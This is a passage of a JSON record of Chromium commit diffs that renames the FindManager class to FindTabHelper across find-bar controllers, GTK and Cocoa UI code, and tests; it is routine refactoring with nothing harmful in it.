"https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/cocoa/find_bar/find_bar_cocoa_controller.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/cocoa/find_bar/find_bar_cocoa_controller.mm?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -17,7 +17,7 @@\n #import \"chrome/browser/ui/cocoa/focus_tracker.h\"\n #import \"chrome/browser/ui/cocoa/tabs/tab_strip_controller.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_controller.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/tab_contents/tab_contents_wrapper.h\"\n #import \"third_party/GTM/AppKit/GTMNSAnimation+Duration.h\"\n \n@@ -84,19 +84,19 @@ - (IBAction)close:(id)sender {\n \n - (IBAction)previousResult:(id)sender {\n if (findBarBridge_) {\n- FindManager* find_manager = findBarBridge_->\n- GetFindBarController()->tab_contents()->GetFindManager();\n- find_manager->StartFinding(\n+ FindTabHelper* find_tab_helper = findBarBridge_->\n+ GetFindBarController()->tab_contents()->find_tab_helper();\n+ find_tab_helper->StartFinding(\n base::SysNSStringToUTF16([findText_ stringValue]),\n false, false);\n }\n }\n \n - (IBAction)nextResult:(id)sender {\n if (findBarBridge_) {\n- FindManager* find_manager = findBarBridge_->\n- GetFindBarController()->tab_contents()->GetFindManager();\n- find_manager->StartFinding(\n+ FindTabHelper* find_tab_helper = findBarBridge_->\n+ GetFindBarController()->tab_contents()->find_tab_helper();\n+ find_tab_helper->StartFinding(\n base::SysNSStringToUTF16([findText_ stringValue]),\n true, false);\n }\n@@ -134,19 +134,20 @@ - (void)controlTextDidChange:(NSNotification *)aNotification {\n findBarBridge_->GetFindBarController()->tab_contents();\n if (!tab_contents)\n return;\n- FindManager* find_manager = tab_contents->GetFindManager();\n+ FindTabHelper* find_tab_helper = tab_contents->find_tab_helper();\n \n NSString* findText = [findText_ stringValue];\n suppressPboardUpdateActions_ = YES;\n [[FindPasteboard sharedInstance] setFindText:findText];\n suppressPboardUpdateActions_ = NO;\n \n if ([findText length] > 0) {\n- find_manager->StartFinding(base::SysNSStringToUTF16(findText), true, false);\n+ find_tab_helper->\n+ StartFinding(base::SysNSStringToUTF16(findText), true, false);\n } else {\n // The textbox is empty so we reset.\n- find_manager->StopFinding(FindBarController::kClearSelection);\n- [self updateUIForFindResult:find_manager->find_result()\n+ find_tab_helper->StopFinding(FindBarController::kClearSelection);\n+ [self updateUIForFindResult:find_tab_helper->find_result()\n withText:string16()];\n }\n }\n@@ -380,9 +381,9 @@ - (void)prepopulateText:(NSString*)text stopSearch:(BOOL)stopSearch{\n TabContentsWrapper* contents =\n findBarBridge_->GetFindBarController()->tab_contents();\n if (contents) {\n- FindManager* find_manager = contents->GetFindManager();\n- find_manager->StopFinding(FindBarController::kClearSelection);\n- findBarBridge_->ClearResults(find_manager->find_result());\n+ FindTabHelper* find_tab_helper = contents->find_tab_helper();\n+ find_tab_helper->StopFinding(FindBarController::kClearSelection);\n+ findBarBridge_->ClearResults(find_tab_helper->find_result());\n }\n }\n "}<_**next**_>{"sha": "c7468e380ae38745c868b7bf43b008d8b70e5ca1", "filename": "chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/cocoa/tabs/tab_strip_controller.mm?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -29,7 +29,7 @@\n #include \"chrome/browser/tabs/tab_strip_model.h\"\n #include \"chrome/browser/ui/browser.h\"\n #include \"chrome/browser/ui/browser_navigator.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #import \"chrome/browser/ui/cocoa/browser_window_controller.h\"\n #import \"chrome/browser/ui/cocoa/constrained_window_mac.h\"\n #import \"chrome/browser/ui/cocoa/new_tab_button.h\"\n@@ -1075,7 +1075,7 @@ - (void)selectTabWithContents:(TabContentsWrapper*)newContents\n newContents->tab_contents()->DidBecomeSelected();\n newContents->view()->RestoreFocus();\n \n- if (newContents->GetFindManager()->find_ui_active())\n+ if (newContents->find_tab_helper()->find_ui_active())\n browser_->GetFindBarController()->find_bar()->SetFocusAndSelection();\n }\n }"}<_**next**_>{"sha": "4c55985b908bfb1c2d45b8f4ac2ef13fd746d84f", "filename": "chrome/browser/ui/find_bar/find_backend_unittest.cc", "status": "modified", "additions": 16, "deletions": 16, "changes": 32, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_backend_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_backend_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/find_bar/find_backend_unittest.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -7,7 +7,7 @@\n #include \"base/utf_string_conversions.h\"\n #include \"chrome/browser/tab_contents/test_tab_contents.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_state.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/tab_contents/tab_contents_wrapper.h\"\n #include \"chrome/browser/ui/tab_contents/test_tab_contents_wrapper.h\"\n #include \"chrome/common/url_constants.h\"\n@@ -26,56 +26,56 @@ string16 FindPrepopulateText(TabContents* contents) {\n // This test takes two TabContents objects, searches in both of them and\n // tests the internal state for find_text and find_prepopulate_text.\n TEST_F(FindBackendTest, InternalState) {\n- FindManager* find_manager = contents_wrapper()->GetFindManager();\n+ FindTabHelper* find_tab_helper = contents_wrapper()->find_tab_helper();\n // Initial state for the TabContents is blank strings.\n EXPECT_EQ(string16(), FindPrepopulateText(contents()));\n- EXPECT_EQ(string16(), find_manager->find_text());\n+ EXPECT_EQ(string16(), find_tab_helper->find_text());\n \n // Get another TabContents object ready.\n TestTabContents* contents2 = new TestTabContents(profile_.get(), NULL);\n TabContentsWrapper wrapper2(contents2);\n- FindManager* find_manager2 = wrapper2.GetFindManager();\n+ FindTabHelper* find_tab_helper2 = wrapper2.find_tab_helper();\n \n // No search has still been issued, strings should be blank.\n EXPECT_EQ(string16(), FindPrepopulateText(contents()));\n- EXPECT_EQ(string16(), find_manager->find_text());\n+ EXPECT_EQ(string16(), find_tab_helper->find_text());\n EXPECT_EQ(string16(), FindPrepopulateText(contents2));\n- EXPECT_EQ(string16(), find_manager2->find_text());\n+ EXPECT_EQ(string16(), find_tab_helper2->find_text());\n \n string16 search_term1 = ASCIIToUTF16(\" I had a 401K \");\n string16 search_term2 = ASCIIToUTF16(\" but the economy \");\n string16 search_term3 = ASCIIToUTF16(\" eated it. \");\n \n // Start searching in the first TabContents, searching forwards but not case\n // sensitive (as indicated by the last two params).\n- find_manager->StartFinding(search_term1, true, false);\n+ find_tab_helper->StartFinding(search_term1, true, false);\n \n // Pre-populate string should always match between the two, but find_text\n // should not.\n EXPECT_EQ(search_term1, FindPrepopulateText(contents()));\n- EXPECT_EQ(search_term1, find_manager->find_text());\n+ EXPECT_EQ(search_term1, find_tab_helper->find_text());\n EXPECT_EQ(search_term1, FindPrepopulateText(contents2));\n- EXPECT_EQ(string16(), find_manager2->find_text());\n+ EXPECT_EQ(string16(), find_tab_helper2->find_text());\n \n // Now search in the other TabContents, searching forwards but not case\n // sensitive (as indicated by the last two params).\n- find_manager2->StartFinding(search_term2, true, false);\n+ find_tab_helper2->StartFinding(search_term2, true, false);\n \n // Again, pre-populate string should always match between the two, but\n // find_text should not.\n EXPECT_EQ(search_term2, FindPrepopulateText(contents()));\n- EXPECT_EQ(search_term1, find_manager->find_text());\n+ EXPECT_EQ(search_term1, find_tab_helper->find_text());\n EXPECT_EQ(search_term2, FindPrepopulateText(contents2));\n- EXPECT_EQ(search_term2, find_manager2->find_text());\n+ EXPECT_EQ(search_term2, find_tab_helper2->find_text());\n \n // Search again in the first TabContents, searching forwards but not case\n- // sensitive (as indicated by the last two params).\n- find_manager->StartFinding(search_term3, true, false);\n+ // find_tab_helper (as indicated by the last two params).\n+ find_tab_helper->StartFinding(search_term3, true, false);\n \n // Once more, pre-populate string should always match between the two, but\n // find_text should not.\n EXPECT_EQ(search_term3, FindPrepopulateText(contents()));\n- EXPECT_EQ(search_term3, find_manager->find_text());\n+ EXPECT_EQ(search_term3, find_tab_helper->find_text());\n EXPECT_EQ(search_term3, FindPrepopulateText(contents2));\n- EXPECT_EQ(search_term2, find_manager2->find_text());\n+ EXPECT_EQ(search_term2, find_tab_helper2->find_text());\n }"}<_**next**_>{"sha": "8b998246d8eb71dfb7dc1f0116a6645e6f6efed3", "filename": "chrome/browser/ui/find_bar/find_bar_controller.cc", "status": "modified", "additions": 21, "deletions": 21, "changes": 42, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_bar_controller.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_bar_controller.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/find_bar/find_bar_controller.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -11,7 +11,7 @@\n #include \"chrome/browser/tab_contents/navigation_entry.h\"\n #include \"chrome/browser/ui/find_bar/find_bar.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_state.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/tab_contents/tab_contents_wrapper.h\"\n #include \"chrome/common/notification_details.h\"\n #include \"chrome/common/notification_source.h\"\n@@ -31,14 +31,14 @@ FindBarController::~FindBarController() {\n }\n \n void FindBarController::Show() {\n- FindManager* find_manager = tab_contents_->GetFindManager();\n+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();\n \n // Only show the animation if we're not already showing a find bar for the\n // selected TabContents.\n- if (!find_manager->find_ui_active()) {\n+ if (!find_tab_helper->find_ui_active()) {\n MaybeSetPrepopulateText();\n \n- find_manager->set_find_ui_active(true);\n+ find_tab_helper->set_find_ui_active(true);\n find_bar_->Show(true);\n }\n find_bar_->SetFocusAndSelection();\n@@ -50,15 +50,15 @@ void FindBarController::EndFindSession(SelectionAction action) {\n // |tab_contents_| can be NULL for a number of reasons, for example when the\n // tab is closing. We must guard against that case. See issue 8030.\n if (tab_contents_) {\n- FindManager* find_manager = tab_contents_->GetFindManager();\n+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();\n \n // When we hide the window, we need to notify the renderer that we are done\n // for now, so that we can abort the scoping effort and clear all the\n // tickmarks and highlighting.\n- find_manager->StopFinding(action);\n+ find_tab_helper->StopFinding(action);\n \n if (action != kKeepSelection)\n- find_bar_->ClearResults(find_manager->find_result());\n+ find_bar_->ClearResults(find_tab_helper->find_result());\n \n // When we get dismissed we restore the focus to where it belongs.\n find_bar_->RestoreSavedFocus();\n@@ -76,7 +76,7 @@ void FindBarController::ChangeTabContents(TabContentsWrapper* contents) {\n // Hide any visible find window from the previous tab if NULL |tab_contents|\n // is passed in or if the find UI is not active in the new tab.\n if (find_bar_->IsFindBarVisible() &&\n- (!tab_contents_ || !tab_contents_->GetFindManager()->find_ui_active())) {\n+ (!tab_contents_ || !tab_contents_->find_tab_helper()->find_ui_active())) {\n find_bar_->Hide(false);\n }\n \n@@ -90,7 +90,7 @@ void FindBarController::ChangeTabContents(TabContentsWrapper* contents) {\n \n MaybeSetPrepopulateText();\n \n- if (tab_contents_->GetFindManager()->find_ui_active()) {\n+ if (tab_contents_->find_tab_helper()->find_ui_active()) {\n // A tab with a visible find bar just got selected and we need to show the\n // find bar but without animation since it was already animated into its\n // visible state. We also want to reset the window location so that\n@@ -108,16 +108,16 @@ void FindBarController::ChangeTabContents(TabContentsWrapper* contents) {\n void FindBarController::Observe(NotificationType type,\n const NotificationSource& source,\n const NotificationDetails& details) {\n- FindManager* find_manager = tab_contents_->GetFindManager();\n+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();\n if (type == NotificationType::FIND_RESULT_AVAILABLE) {\n // Don't update for notifications from TabContentses other than the one we\n // are actively tracking.\n if (Source<TabContents>(source).ptr() == tab_contents_->tab_contents()) {\n UpdateFindBarForCurrentResult();\n- if (find_manager->find_result().final_update() &&\n- find_manager->find_result().number_of_matches() == 0) {\n- const string16& last_search = find_manager->previous_find_text();\n- const string16& current_search = find_manager->find_text();\n+ if (find_tab_helper->find_result().final_update() &&\n+ find_tab_helper->find_result().number_of_matches() == 0) {\n+ const string16& last_search = find_tab_helper->previous_find_text();\n+ const string16& current_search = find_tab_helper->find_text();\n if (last_search.find(current_search) != 0)\n find_bar_->AudibleAlert();\n }\n@@ -139,7 +139,7 @@ void FindBarController::Observe(NotificationType type,\n } else {\n // On Reload we want to make sure FindNext is converted to a full Find\n // to make sure highlights for inactive matches are repainted.\n- find_manager->set_find_op_aborted(true);\n+ find_tab_helper->set_find_op_aborted(true);\n }\n }\n }\n@@ -187,8 +187,8 @@ gfx::Rect FindBarController::GetLocationForFindbarView(\n }\n \n void FindBarController::UpdateFindBarForCurrentResult() {\n- FindManager* find_manager = tab_contents_->GetFindManager();\n- const FindNotificationDetails& find_result = find_manager->find_result();\n+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();\n+ const FindNotificationDetails& find_result = find_tab_helper->find_result();\n \n // Avoid bug 894389: When a new search starts (and finds something) it reports\n // an interim match count result of 1 before the scoping effort starts. This\n@@ -205,18 +205,18 @@ void FindBarController::UpdateFindBarForCurrentResult() {\n last_reported_matchcount_ = find_result.number_of_matches();\n }\n \n- find_bar_->UpdateUIForFindResult(find_result, find_manager->find_text());\n+ find_bar_->UpdateUIForFindResult(find_result, find_tab_helper->find_text());\n }\n \n void FindBarController::MaybeSetPrepopulateText() {\n #if !defined(OS_MACOSX)\n // Find out what we should show in the find text box. Usually, this will be\n // the last search in this tab, but if no search has been issued in this tab\n // we use the last search string (from any tab).\n- FindManager* find_manager = tab_contents_->GetFindManager();\n- string16 find_string = find_manager->find_text();\n+ FindTabHelper* find_tab_helper = tab_contents_->find_tab_helper();\n+ string16 find_string = find_tab_helper->find_text();\n if (find_string.empty())\n- find_string = find_manager->previous_find_text();\n+ find_string = find_tab_helper->previous_find_text();\n if (find_string.empty()) {\n find_string =\n FindBarState::GetLastPrepopulateText(tab_contents_->profile());"}<_**next**_>{"sha": "a1365f1d294c8a854213d27cd6785d785201c5d3", "filename": "chrome/browser/ui/find_bar/find_bar_host_browsertest.cc", "status": "modified", "additions": 10, "deletions": 10, "changes": 20, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_bar_host_browsertest.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_bar_host_browsertest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/find_bar/find_bar_host_browsertest.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -15,8 +15,8 @@\n #include \"chrome/browser/ui/browser_window.h\"\n #include \"chrome/browser/ui/find_bar/find_bar.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_controller.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n #include \"chrome/browser/ui/find_bar/find_notification_details.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/tab_contents/tab_contents_wrapper.h\"\n #include \"chrome/test/in_process_browser_test.h\"\n #include \"chrome/test/ui_test_utils.h\"\n@@ -246,7 +246,7 @@ IN_PROC_BROWSER_TEST_F(FindInPageControllerTest, FindInPageEndState) {\n \n // End the find session, which should set focus to the link.\n tab_contents->\n- GetFindManager()->StopFinding(FindBarController::kKeepSelection);\n+ find_tab_helper()->StopFinding(FindBarController::kKeepSelection);\n \n // Verify that the link is focused.\n ASSERT_TRUE(FocusedOnPage(tab_contents->tab_contents(), &result));\n@@ -266,7 +266,7 @@ IN_PROC_BROWSER_TEST_F(FindInPageControllerTest, FindInPageEndState) {\n \n // End the find session.\n tab_contents->\n- GetFindManager()->StopFinding(FindBarController::kKeepSelection);\n+ find_tab_helper()->StopFinding(FindBarController::kKeepSelection);\n \n // Verify that link2 is not focused.\n ASSERT_TRUE(FocusedOnPage(tab_contents->tab_contents(), &result));\n@@ -346,7 +346,7 @@ IN_PROC_BROWSER_TEST_F(FindInPageControllerTest,\n EXPECT_EQ(3, ordinal);\n \n // End the find session.\n- tab->GetFindManager()->StopFinding(FindBarController::kKeepSelection);\n+ tab->find_tab_helper()->StopFinding(FindBarController::kKeepSelection);\n }\n \n // This test loads a page with frames and makes sure the ordinal returned makes\n@@ -797,14 +797,14 @@ IN_PROC_BROWSER_TEST_F(FindInPageControllerTest, StayActive) {\n // simulating keypresses here for searching for something and pressing\n // backspace, but that's been proven flaky in the past, so we go straight to\n // tab_contents.\n- FindManager* find_manager =\n- browser()->GetSelectedTabContentsWrapper()->GetFindManager();\n+ FindTabHelper* find_tab_helper =\n+ browser()->GetSelectedTabContentsWrapper()->find_tab_helper();\n // Stop the (non-existing) find operation, and clear the selection (which\n // signals the UI is still active).\n- find_manager->StopFinding(FindBarController::kClearSelection);\n+ find_tab_helper->StopFinding(FindBarController::kClearSelection);\n // Make sure the Find UI flag hasn't been cleared, it must be so that the UI\n // still responds to browser window resizing.\n- ASSERT_TRUE(find_manager->find_ui_active());\n+ ASSERT_TRUE(find_tab_helper->find_ui_active());\n }\n \n // Make sure F3 works after you FindNext a couple of times and end the Find\n@@ -873,7 +873,7 @@ IN_PROC_BROWSER_TEST_F(FindInPageControllerTest, PreferPreviousSearch) {\n FindBarController::kKeepSelection);\n // Simulate F3.\n ui_test_utils::FindInPage(tab1, string16(), kFwd, kIgnoreCase, &ordinal);\n- EXPECT_EQ(tab1->GetFindManager()->find_text(), WideToUTF16(L\"Default\"));\n+ EXPECT_EQ(tab1->find_tab_helper()->find_text(), WideToUTF16(L\"Default\"));\n }\n \n // This tests that whenever you close and reopen the Find bar, it should show\n@@ -1100,6 +1100,6 @@ IN_PROC_BROWSER_TEST_F(FindInPageControllerTest, ActivateLinkNavigatesPage) {\n EXPECT_EQ(ordinal, 1);\n \n // End the find session, click on the link.\n- tab->GetFindManager()->StopFinding(FindBarController::kActivateSelection);\n+ tab->find_tab_helper()->StopFinding(FindBarController::kActivateSelection);\n EXPECT_TRUE(ui_test_utils::WaitForNavigationInCurrentTab(browser()));\n }"}<_**next**_>{"sha": "de2b3f7455838d3af12727e8b78ba5c382d30714", "filename": "chrome/browser/ui/find_bar/find_tab_helper.cc", "status": "renamed", "additions": 15, "deletions": 15, "changes": 30, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_tab_helper.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_tab_helper.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/find_bar/find_tab_helper.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -2,7 +2,7 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n \n #include <vector>\n \n@@ -14,9 +14,9 @@\n #include \"chrome/common/render_messages.h\"\n \n // static\n-int FindManager::find_request_id_counter_ = -1;\n+int FindTabHelper::find_request_id_counter_ = -1;\n \n-FindManager::FindManager(TabContentsWrapper* tab_contents)\n+FindTabHelper::FindTabHelper(TabContentsWrapper* tab_contents)\n : tab_contents_(tab_contents),\n find_ui_active_(false),\n find_op_aborted_(false),\n@@ -26,12 +26,12 @@ FindManager::FindManager(TabContentsWrapper* tab_contents)\n DCHECK(tab_contents_);\n }\n \n-FindManager::~FindManager() {\n+FindTabHelper::~FindTabHelper() {\n }\n \n-void FindManager::StartFinding(string16 search_string,\n- bool forward_direction,\n- bool case_sensitive) {\n+void FindTabHelper::StartFinding(string16 search_string,\n+ bool forward_direction,\n+ bool case_sensitive) {\n // If search_string is empty, it means FindNext was pressed with a keyboard\n // shortcut so unless we have something to search for we return early.\n if (search_string.empty() && find_text_.empty()) {\n@@ -79,7 +79,7 @@ void FindManager::StartFinding(string16 search_string,\n find_next);\n }\n \n-void FindManager::StopFinding(\n+void FindTabHelper::StopFinding(\n FindBarController::SelectionAction selection_action) {\n if (selection_action == FindBarController::kClearSelection) {\n // kClearSelection means the find string has been cleared by the user, but\n@@ -97,20 +97,20 @@ void FindManager::StopFinding(\n tab_contents_->render_view_host()->StopFinding(selection_action);\n }\n \n-bool FindManager::OnMessageReceived(const IPC::Message& message) {\n+bool FindTabHelper::OnMessageReceived(const IPC::Message& message) {\n bool handled = true;\n- IPC_BEGIN_MESSAGE_MAP(FindManager, message)\n+ IPC_BEGIN_MESSAGE_MAP(FindTabHelper, message)\n IPC_MESSAGE_HANDLER(ViewHostMsg_Find_Reply, OnFindReply)\n IPC_MESSAGE_UNHANDLED(handled = false)\n IPC_END_MESSAGE_MAP()\n return handled;\n }\n \n-void FindManager::OnFindReply(int request_id,\n- int number_of_matches,\n- const gfx::Rect& selection_rect,\n- int active_match_ordinal,\n- bool final_update) {\n+void FindTabHelper::OnFindReply(int request_id,\n+ int number_of_matches,\n+ const gfx::Rect& selection_rect,\n+ int active_match_ordinal,\n+ bool final_update) {\n // Ignore responses for requests that have been aborted.\n // Ignore responses for requests other than the one we have most recently\n // issued. That way we won't act on stale results when the user has", "previous_filename": "chrome/browser/ui/find_bar/find_manager.cc"}<_**next**_>{"sha": "599ac1253b7ed40bf08a7991b73d3c4c43888b0f", "filename": "chrome/browser/ui/find_bar/find_tab_helper.h", "status": "renamed", "additions": 8, "deletions": 8, "changes": 16, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_tab_helper.h", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/find_bar/find_tab_helper.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/find_bar/find_tab_helper.h?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -2,8 +2,8 @@\n // Use of this source code is governed by a BSD-style license that can be\n // found in the LICENSE file.\n \n-#ifndef CHROME_BROWSER_UI_FIND_BAR_FIND_MANAGER_H_\n-#define CHROME_BROWSER_UI_FIND_BAR_FIND_MANAGER_H_\n+#ifndef CHROME_BROWSER_UI_FIND_BAR_FIND_TAB_HELPER_H_\n+#define CHROME_BROWSER_UI_FIND_BAR_FIND_TAB_HELPER_H_\n #pragma once\n \n #include \"chrome/browser/tab_contents/tab_contents_observer.h\"\n@@ -13,10 +13,10 @@\n class TabContentsWrapper;\n \n // Per-tab find manager. Handles dealing with the life cycle of find sessions.\n-class FindManager : public TabContentsObserver {\n+class FindTabHelper : public TabContentsObserver {\n public:\n- explicit FindManager(TabContentsWrapper* tab_contents);\n- virtual ~FindManager();\n+ explicit FindTabHelper(TabContentsWrapper* tab_contents);\n+ virtual ~FindTabHelper();\n \n // Starts the Find operation by calling StartFinding on the Tab. This function\n // can be called from the outside as a result of hot-keys, so it uses the\n@@ -63,13 +63,13 @@ class FindManager : public TabContentsObserver {\n // TabContentsObserver overrides.\n virtual bool OnMessageReceived(const IPC::Message& message) OVERRIDE;\n \n+ private:\n void OnFindReply(int request_id,\n int number_of_matches,\n const gfx::Rect& selection_rect,\n int active_match_ordinal,\n bool final_update);\n \n- private:\n TabContentsWrapper* tab_contents_;\n \n // Each time a search request comes in we assign it an id before passing it\n@@ -107,7 +107,7 @@ class FindManager : public TabContentsObserver {\n // information to build its presentation.\n FindNotificationDetails last_search_result_;\n \n- DISALLOW_COPY_AND_ASSIGN(FindManager);\n+ DISALLOW_COPY_AND_ASSIGN(FindTabHelper);\n };\n \n-#endif // CHROME_BROWSER_UI_FIND_BAR_FIND_MANAGER_H_\n+#endif // CHROME_BROWSER_UI_FIND_BAR_FIND_TAB_HELPER_H_", "previous_filename": "chrome/browser/ui/find_bar/find_manager.h"}<_**next**_>{"sha": "a3db3346fdea2e26f8aea399e9780ddd7329b160", "filename": "chrome/browser/ui/gtk/browser_window_gtk.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/gtk/browser_window_gtk.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/gtk/browser_window_gtk.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/gtk/browser_window_gtk.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -38,7 +38,7 @@\n #include \"chrome/browser/ui/browser.h\"\n #include \"chrome/browser/ui/browser_dialogs.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_controller.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/gtk/about_chrome_dialog.h\"\n #include \"chrome/browser/ui/gtk/accelerators_gtk.h\"\n #include \"chrome/browser/ui/gtk/bookmark_bar_gtk.h\"\n@@ -1146,7 +1146,7 @@ void BrowserWindowGtk::TabSelectedAt(TabContentsWrapper* old_contents,\n // we are the active browser before calling RestoreFocus().\n if (!browser_->tabstrip_model()->closing_all()) {\n new_contents->view()->RestoreFocus();\n- if (new_contents->GetFindManager()->find_ui_active())\n+ if (new_contents->find_tab_helper()->find_ui_active())\n browser_->GetFindBarController()->find_bar()->SetFocusAndSelection();\n }\n "}<_**next**_>{"sha": "8213e8469289f682d3977b5bb3d314cef61b37e7", "filename": "chrome/browser/ui/gtk/find_bar_gtk.cc", "status": "modified", "additions": 5, "deletions": 5, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/gtk/find_bar_gtk.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/gtk/find_bar_gtk.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/ui/gtk/find_bar_gtk.cc?ref=c90c6ca59378d7e86d1a2f28fe96bada35df1508", "patch": "@@ -20,8 +20,8 @@\n #include \"chrome/browser/ui/browser.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_controller.h\"\n #include \"chrome/browser/ui/find_bar/find_bar_state.h\"\n-#include \"chrome/browser/ui/find_bar/find_manager.h\"\n #include \"chrome/browser/ui/find_bar/find_notification_details.h\"\n+#include \"chrome/browser/ui/find_bar/find_tab_helper.h\"\n #include \"chrome/browser/ui/gtk/browser_window_gtk.h\"\n #include \"chrome/browser/ui/gtk/cairo_cached_surface.h\"\n #include \"chrome/browser/ui/gtk/custom_button.h\"\n@@ -580,17 +580,17 @@ void FindBarGtk::FindEntryTextInContents(bool forward_search) {\n TabContentsWrapper* tab_contents = find_bar_controller_->tab_contents();\n if (!tab_contents)\n return;\n- FindManager* find_manager = tab_contents->GetFindManager();\n+ FindTabHelper* find_tab_helper = tab_contents->find_tab_helper();\n \n std::string new_contents(gtk_entry_get_text(GTK_ENTRY(text_entry_)));\n \n if (new_contents.length() > 0) {\n- find_manager->StartFinding(UTF8ToUTF16(new_contents), forward_search,\n+ find_tab_helper->StartFinding(UTF8ToUTF16(new_contents), forward_search,\n false); // Not case sensitive.\n } else {\n // The textbox is empty so we reset.\n- find_manager->StopFinding(FindBarController::kClearSelection);\n- UpdateUIForFindResult(find_manager->find_result(), string16());\n+ find_tab_helper->StopFinding(FindBarController::kClearSelection);\n+ UpdateUIForFindResult(find_tab_helper->find_result(), string16());\n \n // Clearing the text box should also clear the prepopulate state so that\n // when we close and reopen the Find box it doesn't show the search we"}<_**next**_>{"sha": "d8ac169357cfba98c8aadd708dfe75e288a0f7c7", "filename": "chrome/browser/ui/login/login_prompt.cc", "status": "modified", "additions": 2, "deletions": 2, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/login/login_prompt.cc", "raw_url": "https://github.com/chromium/chromium/raw/c90c6ca59378d7e86d1a2f28fe96bada35df1508/chrome/browser/ui/login/login_prompt.cc", "contents_url": 